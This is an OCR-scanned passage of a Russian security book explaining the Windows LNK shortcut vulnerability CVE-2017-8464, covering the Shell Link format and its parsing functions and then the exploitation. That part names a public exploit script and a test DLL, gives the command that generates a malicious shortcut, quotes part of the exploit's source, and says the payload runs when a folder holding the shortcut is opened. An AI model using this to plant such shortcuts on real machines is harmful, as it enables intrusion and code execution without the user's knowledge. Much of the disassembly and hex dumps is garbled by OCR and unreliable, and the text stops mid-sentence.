м1 Ша. Qo-ftffl!JI ~1,.;000 1>i~o,,.;!t'd"od,,;~,__;~: • t:,fff,'ftJI 9a•dv,•<: 
: .. ц, 11 .. - О Cf~ 0:00::1 •• i-9 

~;;~;·•--- «)"llt .... l,att,.a1·d.at~;":.'r.:f --L~:;;;;_· • 
i;:i:;:;~ ~~•·о: -~,.,.,.,1, 'tc~p,. ·ind'.•l cr...,,,:61.~.:.. ,ю,,,\1"ю. ,.,..,~к 

~ШЕ1~~Ш;f:1:~::~i~~:;!;_ •:;:.,;,;, '~;.;.:1:::"::;;~:;:~~ ';:,,,""" 

Рис . 2.2. Гостевая ОС готова к отладке 

Особеннос ти линкования 

Ч тобы понимать уязв имость и ус пешн о ее про э ксп л уатировать, нужно сначала ра­

зобраться непоср едственно с самим форматом LNК - файлов . К счастью , нам не 

при де тся про дираться через деб ри бинарщины вс ле п ую, потому что ребята и з 

Microsoft п озаботи л ись и написали п од робн ую техническую спе цификацию под 

н азва ние м Shell Link (.LN K) Binary File Foг m at , и опубликовали ее по адресу 

https:/ /winprotocoldoc .blob.core., vi ndo, vs .net / productionwindowsarchives/МS­

SHLLINIO[MS- SHLL INКJ-160714.pdf. Будем загл я д ывать туда перио д ически . 

Еще н ам пона добитс я утилита дл я просмо т ра детально й информации по фай л ам 

LNK. Так как юя основная ОС - это Windows I О, то я воспользуюсь приложением 

L К Parser (h ttps ://storage.googleapis.com/google-code-archive-downloads/v2/code. 

google.comЛnk -parse rЛnk_par se r_cmd.exe ). Если ты ищешь чт о - то п латфо рмоне­

зависимое , то попробуй модул ь pylnk (pip install pylnk) для Python, который 

можно скачать с сайта https://pypi.org/project/pylnk/0.2/. 

Shell Liпk Binaiy File Fonnat состоит и з пос ледовател ьности ст р укту р , которые ре­

гулируются прави лами ABNF (Augmented Backus-Naur Form). Прави л а же описаны 

в спецификации RFC5234 (http://www.rfc-editor.org/rfc/rfc5234.txt). 

SHELL_LINK = SHELL_LINK_HEADER [LINКТ ARGET_IDLIST ] [LINKINFO) [STRING_DATA) 
*EXTRA DATA 

Совок упность этих структур и на з ыва етс я shell link, а в простонародье - « ярлык». 

В нем содержится не только ссылка на местоположе ни е об ъекта , как можно было 

ожи д ать , но и множество д ругих параметров. 
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Расс мотр и м все это на живом примере. Для этого создадим яр л ык н а л юбой файл 

(я создал для explorer.exe) и натравим на него LNKParser (рис. 2.3 ): 

lnk_parser_cmd "expl orer . exe - Shortcut . lnk" 

К • Dm ([}.) , Vi sш/Hнk 

A"'i' expk!re,.~-Shortcut 

Рис . 2.3. Просмотр содержимого ярлыка с помощью LNKParser 

Здесь я рассмотрю только нужные для соз д ания э ксп л оита с т р у к ту ры , ты же 

можешь п окопаться в тонкостях строения .LNК в свое удово л ьс т вие . За з агрузку, 

анализ и парсинr данных из файла ярлыка отвечает функция CShellLink:: 

LoadFromStreaш из библиотеки windows.storage.dll (рис. 2.4). 

!:~::~;~:~:~::; ; •"·~-~ .. ,,~.. ...... ~ •J и 11 о II r 
1
, tt .-

' .tемt:11 1о св2Е ; (ltt,·i.ь•,t1• 1,. Ьр !1,1ы•d lr,1m 

!:~::~;~:~:~:~: ; priuate: )ong _ thiscall CShP.Hl:lnk:: _ Lo.-drroмStrPan( s truct IS. tr e.111 ., , unsign4.'d long ) 

!: ~=:~ ~~ :~:~:~: 1 _Lu adf1·u111St r e~lllflCSht'llli11kQQRAEJPAU I Str~a=~H~~~c с~~=~ lt j !lk:: lni tlal lZP(_l IH!IDI. I\ r_i:н,:t)I IНI 
i.te)Ct :1D1D C82f ; tstn•llli11I(: :_1.0J1JJ.rt1r.1f.ile{u~tio1·t •.unst ... ulon':J) •!3fp 

!:~::~:~:~:~:~: \/Эr 27 V • dwor d pt r -27811 

!:~==~~~:~:~::~ ~:~=~~;, : :~;/;; ... м~; :~h 
j. text:111DCl2E ua,· 228 • dword p t r - 22!1n 
.text:111DC82E v.ir:?.7. lt • dword ptr 22ioli 
. text:101DC82E uar 220 " dword p tr м22оt< 

. t ex t:1D1D C82E uai--21r. • ьуtе pt r 111:h 

. text:101DC82E At·g:o • dl!Юrd p t r· 8 

.text: 101DC12E .)rg_.!a • d1Юrd ptr OCh 

.text:111 DCl2E 

.text:111DC82E ; F UНl:JI O H CH!Jtltt А\ .(J>Xf.:19.!nt:;t,qt, $11.l 1н,gоо1•;с 1)\•Н~ 

. t ext: 111DCl2E 

. text: 111DCB2E 
• . text :101DC833 

.text:111DCB З B 

.teкt : 10 1D CBЗD 

.teкt :111D CBЗF 

• .teкt:111DC8Jt2 

.te кt:111 D C8Jt7 

• .text:11t1DC8JtA 
.teкt:111DC8S1 

pu sh :t61:n 
oou Ра к, offs et s uь 1 D21t7906 
call _ c н_ p , ·01o g з_ c s -

edi, е ск 
,ЮU е Ьк . [ ebp•ai·g_ О ] 

са н ?_ResetPer-sistOataQCSnelllink~AAEXXZ ; CSl!1!llt ·imi: :_Rt<e>t•tPf'1"<; i •,t\\,11.ct:tV-JlfЗ} 

,юu е а х, [ebp• ar g_lt ] 
and (еЬр •v , н· _?.?.O J , D 

( e dJ• 1S•tl J, е а х 

Рис. 2.4. Функц ия парсинга содер жимого LNК-файла 

Первый обязательный блок, которы й должен присутствовать в каж д ом уважающем 

себя LNК-файле , - это SHELL_LINK_HEADER. По большому счету , это единст­

венная обязательная структура в яр лыке. Она содержит и д ентификационную ин ­

формацию , временные метки и флаги, которые опреде л яют наличие или отсутствие 

д опо л ни тельных бло к ов с информацией, включая LinkTargetIDList, Linklnfo и 
StringData. Структура бло ка SHELL_LINK_HEADER пока з ана на рис. 2.5. 
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ol1 l 2 l з l 4 l s l б l 1 l sl9 l : \ 1 l 2 ! з l 4 l s l бl,ls l 9 l ~l1l2 ~ з l 4 l s l б l 1 l sl9l~ l 1 
HeaderSlze 

LюkCLSID (16 bytes) 

... 

... 

UnkFlags 

Fl leAttr1butes 

CreationTlme 

... 

AccessTime 
-- --- - - - - - - -

.. . 

Writenme 

- -· -
... 

FlleSize 

·- - - -- ·-

Icon!ndex 

ShowCommand 

- - - -
Ноtке у Reservedl 

Reserved2 

Re serve d З 

Рис . 2.5. Стру кту ра бло к а SHELL_LINK_HEADER 

Прой д емся по остальным стр у ктурам. 

□ HeaderSize (4 байта)- ра зме р блока Header, он фиксированн ый - Ох0000004С. 

□ LinkCLSID ( 16 байт) - у ник альный идентификатор класса (CLS ID). Структу ра 

CLSID - это оболочка дл я иде нти фикатора СОМ - класса. Также имеет фикси­

рованн ое з нач ен и е - 00021401-ОООО-ООООСООО - 000000000046 . 

□ LinkFlags (4 байта)- флаги , которые отвечают за опции ярлыка. Некоторые 

ф л аги означают наличие до по лнитель ных структур в файле . 

□ FileAttributes (4 байта)- атрибуты файла , на который ссылаетс я ярлык. 

□ CreationTime (8 байт) , AccessTime (8 байт) , WriteTime (8 байт) - время созда­

ния фай ла, п оследне г о до ступа к нем у и его изменения . 

□ FileSize ( 4 байта) - ра змер файла . Формат - 32-битное безз наковое целое. 

□ Iconlndex (4 б айта)- ин д екс иконки файла в у казанном хранил ище. Формат -

32-битное беззнаковое це лое. 
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□ ShowCommand (4 байта)- вид окна приложения , запущенного через ярлык. 

Формат - 32-битное беззнаковое целое . Он может быть трех видов: нормаль­

ный (SW _SHOWNORМAL , OxOOOOOOOl), развернутый на весь э кран (SW _ 

SHOWМAXIМIZED , Ох00000003) , свернутый (SW _SHOWMINNOACTIVE, 

Ох00000007 ). 

□ HotKey (2 байта) - структура HotKeyFlags отвечает з а назначенные ярлыку 

горячие клавиши. В настройках линка ты можешь указать требуемое сочетание 

клавиш , и если сам LNK лежит на рабочем столе или в меню. то при их нажатии 

он будет срабатывать. 

□ Reservedl (2 байта), Reserved2 (4 байта) , Reserved3 (4 байта)- зарезервиро ­

ванные значения. Должны быть нулевыми. 

Из всего этого многообразия нас интересует только LinkFlags. Се кция состоит из 

32 бит, каждый из которых отвечает за разные опции ярлыка (рис . 2.6). 

'7>' 1 б ~ В 
1 2 з 

2 з 4 s 9 о 1 2 з 4 5 б 7 8 9 о 1 2 3 4 s б 7 в 9 о 1 

А в с D Е F G н 1 J к L м N О р Q R 5 т u V w х у z А о о о о о 

V ~ А 

Рис. 2.6. Битовая маска секции LinkFlags 

Нужные нам биты - э то О (HasL inkTar getШList) и 7 (lsUnicode). С IsUnicode, 

думаю, все ясно из названия , а вот нулевой бит рассмотрим по д робнее . Флаг 

HasLinkTargetШLi st указывает , что следующим блоком , и ду щим з а хидером, бу­

дет структура ШList (рис. 2.7). 

~ explorer.exe - Shortcut.fnk 

Off3et (h) 00 01 0 2 03 04 05 О б 07 08 0 9 ОА О З О С 0D JE OF 

00000000 

00000010 

00000020 

00000030 

000000 40 

00000050 

00000060 

00000070 

00000080 

00000090 

ОООООО А О 

0000008 0 

оооооосо 

000000D0 

ОООООО Е О 

000000F0 
00000100 

00000 110 

000001 20 

00000130 

00000110 

00000150 

000001 60 

~~---~-ЕВ 00 Н jj 
Г,F 50 ЕО 1F !)0 2() °F"°"i.~iA 69 1:) А2 Dr ОР. •10 28 зq 

?О 9D 19 00 :F 13 ЗА 5С со )0 С!() (Ч) о,; GG 'О о! 
ра 00 00 J0 00 no 0D ,о 00 00 DO 56 о• з. ·:" 
~о ~G 00 11 iB се SE 10 QO 5? 6З 5~ 6~ 6F ~- ~ 

Ро 4J i:10 09 .Jr, ">4 оо EF вЕ fr) 45 ~D зо 1.: ,;s :-- _ 
~ Е 2 Е оо о;, & ;,;.,~&1~ ~~~.,о ~ ос ~ 1') со •,q 
Ьо оо oo ~l:Nt!\(!AKIФl:Pt ;;clul.if5t ~э о~ , 1 
k'lo 69 00 6Е liJ 6.1¾ JO ~F О◊ 1°1 ◊С '73 rи _i'"<\ JV :~ 

i?~ о.6 О(, 52 •,jJ ~z 55 -1-· OJ !'~С ;А ГD 2Z. Z(; G,.., 6.i' 

tre 70 6С 6F 72 -6 5 ·1: zg 6 5 7!! 65 (К 00 4А 6 0 ::~ 

~:, o.i; 00 EF ВЕ (19 4В ос 7 А 09 tiE )С --.;~ 2Е ~о _ 
~о 9F ES 10 00 00 00 о: JQ 00 01 00 00 FS оа ◊ 
Ро оо uo о◊ оо оо оо в1 о~ sc JJ 65 оо -а оо q 
ро 6С 00 б F О◊ '7,2 or:; 65 00 '72 00 2Е 00 6 5 00 .. ?:~ 
ро 65 00 >)0 0() 1,: осг· - - ---· 

Рис. 2.7. Структура IDList в файле легитимного ярлыка 
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Функция CShellLink::_LoadIDList с н ачала читает первые д ва байта данн ых из 

блока (это размер структу ры) и выделяет требуемое количество памяти для его за­

г р узки (рис. 2.8). 

!Dд V..·•·• Q J;iJ Н. xV ,o w -1 t'; ~ Structses О ,f:J &uns D 1§'ii lщ>o<:S 

[
• teкt - : 101DCS94 

. text:101DC594 : nttritщt('s: bp-bat.ed ft·amt-

1

. text :101DC594 

.tex t:101DC594 ; pr iuatP : Iong _thiscal l CShelllink: :_loadlDList ( struct IS tre,a,n *) 

. text: 1010С5911 ?_ Loadl D ListG!CS helllinkOOAAEJPA Ц! St1·ea.-2 proc nea1· 
• text : 101DC594 ; CODE XREF": t;She lllink: :_ Loadf"t•o111st·1·ef)l:I( rxt· r ea 111 *,Uloнg ) +ЕО-1,р 

.text: 101DC5 94 

. text:101DC594 uar i• 

. text:101 DC594 а, · 9=0 

.text:101DC594 

• d'-'Юt'd pt1· ·•- li 

... dword ptr 8 

. text:101DC594 ; fU,IC!IOH CIIUNI< AI .lexl:1U2At 168 S12E OO OU0·\21 ВУТЕS 

[,text : 101DC594 
• text :101DC594 
• text: 1 01DC596 

.text:101DC597 
• text :101DC599 
.text:101DC59C 

.text:101DC59F 

. text : 101DC5A4 

.text:101DC5 A6 

mou 

push 
mou 

and 
sub 
mou 
х о, 

mou 

Pdi, edi 
еЬр 

еЬр, esp 
esp, urrrrrFl'8h 
(>Sp, 2Ch 

еах, _ sec urity_c ookie 
е ах, esp 
res p-+ 2Ch -+ uar Ji l, еах 

Рис . 2.8 . Ф ункц ия CShelllink ::_LoadlDList для nарсинга содержимого структуры IDList 

Затем начинается ч те ние д анных из LINKTARGET_IDLIST. Каждый элемент этой 

структуры - это часть пути до объекта , на который ссылается ярлык. Система 

проходит по каждому такому элементу ltemID и читает его д анные . 

П уть записывается в кодировке ASCII и / и л и UTF-16. В легитимном ярлыке также 

имеются метаданные для каждого элемента п ути. Ты их м ожешь наблюдать на 

рис . 2.9, но для эксплуата ции они нам ни к чему. 

Рис. 2.9. Бло к IDList с метаданными в легитимном ярлыке 

Ф ормат типа- и де нтификатор класса CLSID. Поиск соответствия ведется в ветке 

р еест р а НКEY_CLASSES_ROOTCLSID. Например , в нашем сл у чае GUID объек­

та равен 20d04fe0-3aea-1069-a2d8-08002b30309d, что в пространстве имен оболоч­

ки Windows соответствует Му Computer. По д робнее об эт ом мы поговорим на эта­

п е написания эк сп лоита. 
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С хидером более-менее разобрались , теперь переносимся в конец LNК-файла , 

к разделу дополнительной информации ExtraData. 

EXTRA DATA = *EXTRA DATA BLOCK TERМINAL BLOCK 

Он может включать в себя много допол ните льных структур. 

EXTRA DATA BLOCK = CONSOLE PROPS / CONSOLE FE PROPS / DARWIN PROPS / - - - -
ENVIRONMENT_PROPS / ICON_ENVIRONMENT PROPS / 

КNOWN FOLDER PROPS / PROPERTY STORE PROPS / 
- - - -

SHIM_PROPS / SPECIAL_FOLDER_PROPS / 

TRACКER PROPS / VI STA AND АВОVЕ IDLIST PROPS 

За парсинr этого раз дела отвечает библиотека shlwapi.dll, а именно функция 

SНReadDataBlockList (рис. 2.1 О а , Ь ). 

.text:1U1DC9EO loc 1010С9ЕО: 

. text:101DC9ED -

; COD[ XRH: CShelllink: :_loadfronS.trean( Htrean .. ,ulong) • 2nF ,1.j 
tes t esi. es i 

. text:101DC9E2 j s s ho1·t loc 1010СА18 
lea еах. [ edi;OECh ] 
push еах 

push еьх 

. text: 1 01DC9E~ 

.text:1010C9EA 

.text:101DC9EB 

. text:101DC9EC 

. text :101DC9F2 
::~1 :~; :-~:~_,,., ~ HR ~<::H10ata1Нur..f{t i!>tt~~ ; S.HR f• ~tdD~-~-~-~-~:-~~-~kt .i.,;.t ()( ,х)_ 

1 
• .text:181DC9F4 

1 • . text:101DC9F6 

: • . text: 1 D1DC9F8 

. text: 1 01 DC9FE 

.text:101DCA01 

IDд¼t:w-A tJ 
. text:63198D30 

.text:63198D30 

tes t 1;1si, t>si 
j s short loc 101DCA18 
lea еьх. (edi:;OC4h ] 
с111р dwot·d ptt· ( еЬх ], О 

j z loc_101DCB45 

а 

1m JDAVlow-6 D [Q] 

. text:63198D30 AttriЬ11te s: Ьр 1,ased ft· a щe 

. text : 63198D30 

н~х Vie'l\'~1 1k} 

.text:63198D30 ; stdcall SHReadDataDloc kLi s t( x , х) 

.text :63198D30 - puЫic _ SHReadData8locklist@8 

iAJ Stru<tures 

.text:63198D30 _ S HReadData8lo c kLi s Ш8 proc ne a,· DATA XRfF: .text:63182174io 

. text: 63198D30 ; ~ t•."•Xt :нн: _631B/1iDS,i.o 

.text:63198D30 

.text:63198D30 ua,· 41С 

. text: 63198D30 ua,•-1118 

.text:63198D30 u6ytes 

. text :63198038 var 410 

.tex t :63198030 ua,·-40C 

.text:63198030 uа,-:,,ов 
• text :6319803 о 1,м еn 

.text:63198030 va1· 4 

. text:63198030 a,·g:o 

.text:63198030 а1·9_4 

.text:63198D30 

• dword pt,· • 41Ch 
• d,,ord ptr -418h 

• dword ptr - 41щ, 

• dword ptr - 41 0h 
• dword ptr - 1,och 
• dword ptr - 1,овh 

• ьуtе ptr - 40411 
dword ptr - 4 

• dword pt1· 8 

• d11ord ptr OCh 

.text:63198D30 ruнr.1101< CIНJNK АТ .t-e xt:6З1A16F6 Sllf ООООООА( BVT[S 

• text :63198D30 
• • text :63198D30 

" • text :63198D32 
• • text :63198D33 
• • text :63198D35 
• • text :63198D38 
• . text :63198D40 

l'IOV 

pu sh 
mou 

sub 
mov 

xor 

edi, edi 
еЬр 

еЬр , esp 
esp, 41Ch 
еах, _security_ cookit? 
еах, еЬр 

ь 

Li 

Рис. 2.1 О. Вызов внешней функции SHReadDataBlocklist в процессе выполнения (а). 

Функция SHReadDataBlocklist для парсинга раздела ExtraData (Ь) 

Она читает все содержимое структуры EXTRA_DATA и заг р ужает ее в память . 

После загрузки вызывается проверка валидности данных - функция IsValidDataBlock 

(рис. 2.11). 
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ID>,Vi,w.. :; m,..~ -в о cQ! ___ , Е Stnкtll,s (;1 j'j &uns 

. t••t : 6З198F6D ; 10 _ cdocJ 1r.ua1tdOata01ock( s truc t· tagoorno,ocкнEADLR-;.) 

. text : 63198F68 ? 1 SU.}1 idDat a81ockl1RVCHPAULdgDA I ABlOCKHl;AOE~ l proc ntat' 
. t e x t: 6 Э 1 9 8 F 6 0 ; COOF ХНН. ~HRead0-1t.a8lor.klist(x,x )-t-DDip 

. t••t :63198F6U 

. t•xt :63198F6 U рsг • ьуt• ptt· 4 

. teмt :63198F60 

. text : 63108F60 !1,HCIIOH 1,IШNK AJ •. t 6ЧA1/f\ 1 J ';:Jtf ilU{MШ}'~l \-IVH.:. 
1.text : 63198F60 

.text:63198F60 
, • text : 63198F62 

. toxt : 63198F63 

. text : 63198F65 

• text : 63198F66 
. text : 63198F67 

, . t•x t : 63198F69 
. t ext : 63198F6A 
. text : 63198F6C 

.text : 6З198F6F 

. t•xt :6Э1 98F7~ 

. text :63198F77 
• tex t : 63198F79 
.te-xt : 6З198F80 ~ 

.t,xt : 63198F8U 

.t,xt : 63198F80 loc 6Э 1 98F88: 

. t,мt : 6 Э 198 F 8U -

мо u 

push 
mou 

push 
push 

l'IOU 

push 
xor 
... u 

add 

С"'Р 

J• 
J"I' 

. text : 63198F8U C"f' 

. t,xt : 63198F83 jb 

edi ~ edi 

• Ьр 

е Ьр. •sp 

•с• 
e,si 

Psi. есх 
edi 
edi , edi 
Рах. (esi • 4J 

; unsi gnecd int • 

; uns i gnr.d ir1t 

еах. srн ПFГI\ ; svitch 12 cases 
еах, OHh 

!» lto ,·t loc_63198F8S , jt1r1Pt 111 (1:IIYtll /'} ф•f,tt11t (."J'~(" 

ds: ofr_63198FC,.(Pax•~) ; s ttitch j1Jlrlp 

• f.OIH XRH: (.-,U,t1idD1taBJ.ock(t..зgontnRL0CKHFADFR •)•19ij 

ОНfн Xtif ti>x 1 ,_r,.t1•JНJJ,a;1'' 

dword ptr [ esi], О ; jн1>рt•Ы• 63198f 19 CdSPS • 1610612733 , - 1 610612727 
s ho ,·t loc 6Э 1 98F88 

Рис . 2.11. Фун кция lsValidDataBlock проверяет данные из ExtraData 

IsValidDataBlock сверяет ра з меры и сигнатуры , и ес л и проблем не об нар уже но , то 

выполнение программы во з вращается в функцию CShellLink::_LoadFromStream. 

Из всего , что можно записать в файл с яр л ыком , нас интересуют тол ько 

SpecialFolderDataBlock и KnownFolderDataBlock. Так как разделы одинаковы по 

структуре , разберем только о д ин и з них . 

Структура SpecialFolderDataBlock очень важна в процессе э ксплуата ции . Она и с­

по льзуется, если файл , на который ссылается ярлык , нахо д ится в спе циальной пап­

ке системы или ссылается на нее. Можно также столкнуться с н аз ванием CSIDL 

(Constant Specia l item ID List) или KNOWNFOLDERID (пришло на смену CSIOL 

в Wiпdows Vista), именно их ты встретишь в официальной д окумента ции . 

Воо бще , специальные папки - э то псевдонимы д ля системных папок . Такими, на­

пример, являются « Корзина », « Панель у правления » или AppData. Так вот , вме­

сто использования абсо л ютных путей , которые мо г ут быть разными в р аз ных сис­

темах , в Microsoft придумали такие уникальные статичные псевдонимы. Они гаран­

т ир уют программистам , что при обращении , например , к панели уп рав л ения они 

точно в нее попадут , где бы программа ни выпо л нялась . 

В н е к оторых таких папках объекты представ л яются особенным образом. И дл я того 

чт обы ярлык был вы з ван корректно , после з агр уз ки бл ока IDList данн ые и з него 

инт ерпретируются в соответствии с тек у щими у с т ановками типа папки. 

В озможно , пока э то з в у чит непонятн о, но скоро 1ы д ет ал ьн о разберем э тот воп р ос, 

и все встанет на свои места. Пока же во з вращаемся к SpecialFolderDataBlock. Сам 

р аздел состоит и з четырех блоков . Все блоки имею т о д ин и тот же размер и т ип 

данных - 4 байта , 32-битное бе зз наковое целое (рис. 2.1 2). 

Первый блок BlockSize, как можно понять из на з вания , - э то общая дли на ра зд ела. 

Она фиксирована и имеет значение Ох00000010. В KnownFo ld e rDataВlock ­

OxOOOOOOlC. 
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3 
0 1 

BlockSize 

BlockSignature 

SpecialFolderrD 

Offset 

Рис. 2.12. Блоки раздела SpecialFolderDataBlock 

Затем следует BlockSignature - сигнатура раз д ела. Ее зна чение тоже фиксирова­

но - 0xA000000S. В KnownFolderDataВlock - ОхАООООООВ. 

Следом за ВlockSignature идет блок SpecialFolderШ. Он как раз указывает, к ка­

кой из специальны х пап ок относится ярлык . Их список можно посмотреть, напри­

мер , тут: https://installmate.com/support/im9/using/symbols/functions/csidls.htm. 

В рассматриваемом случае объект explorer.exe нахо дитс я в папке Windows. Это 

специальная папка , которая имеет з начение Ох24 . Что мы и наблюдаем в файле яр­

лыка, как показано на рис . 2. 13 . 

Разница с KnownFolderDataBlock в том, что там используется полноценный GUШ 

вместо целочисленного представления (рис. 2.14). 

~ · ~ 

~~т 

CSIDL_WINDOWS 

~ explorer.exe - Shortcut.1nk 

Off3et (h) 

00000180 

00000190 

00000lA0 

00000180 

00000lC0 

Ох24 5.0 The \/ ✓ indows directory or SYSROOT. 

Рис . 2.13. SpecialFolderlD из ярлыка к файлу explorer.exe 

Рис. 2.14. В структуре KnownFolderDataBlock используется полноценный GUID 
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Следующий важный блок - Offset. Это смещение в байтах, указы вающее на эле ­

мент в блоке ШList. Так как в нашем ярлыке задан путь C:\Wiodows\explorer.exe, 

то смещение будет у казывать на explorer.exe (рис. 2.15). 

~ explore:r.~e: · Shortcut.lnk 

Of!set (h) 

000 00000 

00000010 

000 000 20 

00000030 

00000040 

00000050 

00000060 

00000070 

000000В0 

00000090 

ООООООАО 

оооооо в о 

оо ооо осо 

OOOOOODO 
ОООООО Е О 

OOOOOO FO 

00000100 

00000110 

00000120 

00000130 

00000140 

00000150 

00000160 

00000170 

00000180 

00000190 

OOOOOlAO 

OOOOOlBO 

OOOOOlCO 

00 01 02 03 04 05 06 07 08 09 ОА ОВ ОС OD ОЕ OF 

LINКТARGET _IDLIST 00 Н 

1!:О 4F DO 20 ЕА З А 69 10 А2 DЗ 08 00 2В 

9D 19 00 2F Н ЗА SC 00 on оо 00 uo 
OQ QO 00 00 00 00 00 00 00 00 56 00 31 

00 00 11 413 се SE 10 00 5:7 69 б Е 61 6F 

40 00 09 00 04 00 Ef !!.Е FO '! В BD з а ],1 

2 Е 00 00 00 SD 15 ОА 00 00 00 09 00 00 

00 00 00 00 00 00 00 00 

Specialf QlderOataBlock 
...с---.с..----- ~- --11----- ~[о_о_о_о_о_ ~ 
ps оо оо АО 2~ оо оо oo j s з оо оо oql 

offset 

Рис. 2.15. Бло к offset структуры SpecialFolderDataBlock 

указывает на элемент из IDList 

Обработкой структуры заним ае тс я ф ункция CShellLink:: _ DecodeSpecialFolder 

(рис . 2.16) . 

• t1rмt:111DC9EI loc 1110CVEI: 
г• .trмt:111DC9EI - tll!'St 

__ ___ ! . tll!'xt:111 DC9E 2 Js 

• • tr,ct: 111DC9Elt lll!'Ji 

• tf'xt: 111DC9EA 

. trxt : 111DC9EB 

• tll!'xt: 111DC9EC 

.t•xt : 111DC9F2 

.trxt:111DC9Flt 

1tsi. 1tsi 
short loc 111DCA11 
lt'1X, (•d i;' ИECh ] ... ... 
ds:_ir,ip_SHRf'•dD•tA8l ockl1s t9') ; SHRt.>adOat.18]uckLj ia{x .х) 

• si f,llX 

f'S i . fSi 1 
S hOl"'t loc_ 111DCA11 • . tll!'xt : 111 DC9F6 ---1··- .tll!'xt:111DC9FI 

• .trxt:111DC9FE 
. trxt:111 DCAl1 

l oc _1 11DCA11 : ; СПОЕ XR[f: CShel1Link : :_Lo<1dfrol!tStt"1!<111(1Str@i1II • ,ulong)•F6tj 
; t:ShP.l ll ink: : _Loadft"OIIStrca"( IStre•• •, ulong) •13Df j 

, -.1. .. 
. trxt : 111DCAl7 
.t1txt:111DCAl7 loc 111DCAl7: 
. trxt:111DCAl7 -

1 
1 • .t1txt:111DCAl7 

', - - , - - -., • t1txt :111DCA89 
• t1txt : 111DCA• 

tl!St 

Jnz 
сор 

J• .... 
c•ll 

dWOt"d ptr (@di• 10Ch], 110Dh 
loc 111DCBE3 
dlllOi="d ptt" [rdi• ll:: lm], lt 
s hort loc 111DСАЗ8 
fCX, rdi - ; thi s 

? Drc od1tSpt'ci,1lfoldrt11CSh1tlllink8RAAEXX2 ; CS h~lllink: : _O(>t'Odto Sptocial Folder {uoid ) 

Рис. 2.16. Вызов функции _DecodeSpecialFolder 
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Сначала определяется тип использованной структуры по сигнатуре (блок Block­

Signature ). SpecialFolderDataBlock имеет сигнатуру ОхАОООООО5 , а KnownFolder­

DataBlock - ОхАООООООВ. Функция SНFindDataBlock выполняет этот поиск 

в ExtraData (рис. 2.17). 

• .text:101DC6EF 

• • text: 101 DC6F2 

• .text:101DC6F6 
8 .text:101DC6F7 

~ • text: 1 01DC6F8 

• .text:101DC6F9 

• .text:101DC6F8 

~ .text:101DC700 

• .text:101DC706 

• .text:101DC70C 

• .text:101DC70E 

• • text: 1 01 DC71 О 

• .text:101DC712 
4 

• text: 1 01DC717 

а • text :101DC71D 

• .text:101DC72З 

• • text: 1 01DC725 

• text :101DC727 

rnou 
and 

push 

push 

push 

rnou 

(

push 

push 

call 
rnou 
test 

jnz 

(

push 

push 

call 
rnou 
test 

jnz 

[ebp+uar_4], еах 

[ebp+pu ], О 

еЬх 

esi ; struct ITEMIDLJST ABSOLUTE * 
edi ; struct =JTEMIDLIST=ABSOLUTE • 
esi, есх 
ОА 000000B h -> KnownFolderDataB!ock 

d1 • юrd ptr [esi+ IIECh ] 

ds : _inp_sнr·indData!Jlocl<@8 ; SHFindOataBlock( х ,х) 

edi, еах 
edi, edi 
short loc 101DC747 
ОА OOOIJ005h .;, Sp&cialFoldarDataBJock 

dword ptr [esi+ OfCt1 ] 

,ns:_irnp_SHFindDataBlock@8 ; SHFindDataB1ock(x,x) 
edi, еах 
edi, edi 
loc_ 102АЕЗ1 О 

Рис. 2.17. Вызов функции SHFindDataBlock для поиска нужного раздела по сигнатуре 

Особенности эксплуатации 

Прежде чем сгенерировать эксплуати рующий уязвимость ярлык, следует скомпи­

лировать DLL с нужной полезной нагрузкой. З д есь я не буду описывать весь про­

цесс компиляции DLL, этого полно на просторах Интернета. Для теста достаточно 

использовать готовую библиотеку из репо зито рия Зgstudent (https://github.com/ 

Зgstudent/CVE-2017-8464-EXP) , которая запускает калькулятор . 

Я переименую ее во что-нибу д ь менее монструозное , например test.dll. Теперь 
нужно сгенерировать ярлык. Напомню , что я использую эксплоит авторства nixawk 

и ykoster. Он мультиплатформенный и написан на Python, никаких зависимостей. 

Для компиляции используется команда следующего вида: 

. /42429 . ру </path/to/ lnk/file> </path/to/dll/for/ load> 

Путь до DLL - это очень важный параметр. Дело в том, что эксплоит будет распо­

лагаться на внешнем носителе и работать оттуда, а путь до объекта в ярлыке абсо­

лютный . Это создает определенные сложности , т. к . буква дис ка будет меняться от 

машины к машине, потому что Windows присваивает ее автоматически. 

Проблема обходится в лоб - созданием кучки ярлыков для каждой возможной 

буквы диска. Именно по этому в репозитории по ссылке выше есть ярлыки на каж­

дую букву алфавита. Предположим, что мы знаем букву и это D:. Далее нам нужен 

любой носитель: флешка , дис кета (если вдруг найдешь) или даже файл ISO. Вооб­
ще, эксплоиту без разницы , где он находится. Даже если ты поместишь сгенериро­

ванный ярлык на жесткий д иск , пейлоад отработает при открытии папки с таким 

ярлыком . Съемный носитель используется в примере лишь как один из вариантов 

доставки полезной нагрузки на машину пользователя. 
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Создаем собственно сам файл LNК : 

./42429 . ру test . lnk D: test.dll 

Так как базовые знания о том , как устроены яр л ыки , у нас имеются , то пробежимся 

по исхо д нику сплоита и проследим особенности со з да ния вредоносного ярлыка . 

Сначала хидер. Здесь все не сложнее , чем в безопасном ярлыке . В блоке LinkFlags 

используем флаги HasLinkTargetIDList и IsUnicode. Байты О и 7, помнишь? 

189 : generate_SНELL_LINK_НEADER( ) , 

013 : def generate_SНELL_LINK_HEADER( ) : 

055 : shell_link_header = [ 

058 : Ь ' х81х0 0 х00х00 ', 

JI "LinkFlags " : (4 bytes ) Ох81 = ОЫООООООl HasLinkTargetIDList + 

IsUnicode 

Дальше дело за построением блока IDList: 

197 : generate_LINKTARGET_IDLIST(path, name) , 

075 : def generate_LINKTARGET_I DLIST(path , name ) : 

114 : idlist = [ 
115 : JI ItemIDList 

116 : 

117 : 

118 : 

generate_ 
ItemID (b ' xlfx50xe0x4fxd0x20xeax3ax69x10xa2xd8x08x00x2bx30x30x9d ' ) , 

generate_ 
ItemID (b ' x2ex80x20x20xecx21xeax3ax69x1 0xa2xddx08x00x2bx30x30x9d ' ) , 

А вот как выглядит сама функция generate_ltemID: 

88 : def generate_ItemID (Data ) : 

89 : 

90 : 

91 : 

92 : 

97 : 

itemid = [ 

struct .pack( ' H', len (Data) + 2) , JI ItemIDSize + len(Data) 

Data 

return b '"' . join(itemid) 

В строке 117 мы генерируем первый элеме нт списка . Как ви ди шь , тут используется 

тот же GUID 20D04FE0-3AEA-1069-A2D8-08002B30309D, что и в ярлыке, который 

мы рассматривали в примере . Не забываем про порядок байтов little-endian 

(рис. 2.18). 

А вот второй элемент (строка 118) уже интереснее. GUID 21EC2020-3AEA-1069-
A2DD-08002B30309D говорит нам о том , что э лемент , на который ссылается ярлык , 
